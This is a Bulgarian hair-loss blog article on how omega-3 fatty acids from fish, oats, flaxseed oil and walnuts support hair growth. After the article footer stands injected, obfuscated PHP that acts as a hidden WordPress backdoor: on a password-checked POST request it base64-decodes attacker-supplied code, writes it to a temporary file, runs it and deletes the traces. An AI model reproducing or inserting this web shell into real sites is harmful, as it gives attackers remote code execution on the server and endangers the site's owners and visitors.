Омега- 3 мастни киселини за растежа на косата | Косопад

Омега- 3 мастни киселини за растежа на косата

omega-3-dieta

Известно е, че омега- 3 мазнините са полезни за здравото тяло, но също така помагат и за растежа на косата. Добавянето на омега- 3 предпазва от косопад и помага за по- бързия растеж.

Мазнина

Мит е, че всички мазнини са вредни. Омега- 3 са сред полезните. Те могат да ни помогнат да имаме здрава коса.

Омега- 3 мазнините действат противовъзпалително. Така отварят космените фоликули и позволяват на косата да расте.

Съдържат се в рибата (най- вече в сьомгата и скумрията), овеса, олиото от ленено семе, рапица и др, също и в орехите.

riba-yaitsa

Добавки

Ако смятате, че не приемате достатъчно омега- 3, има и хранителни добавки. Най- добре е все пак, да си ги набавяте от храната.

Преди да започнете прием на хранителните добавки, се посъветвайте с лекаря си, тъй като взаимодействията с някои видове лекарства могат да са рискови.

20. февруари 2015 10:56:31 от Надя Колева
Категории: Косопад – Статии | Етикети: , , , | Напишете Коментар

if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}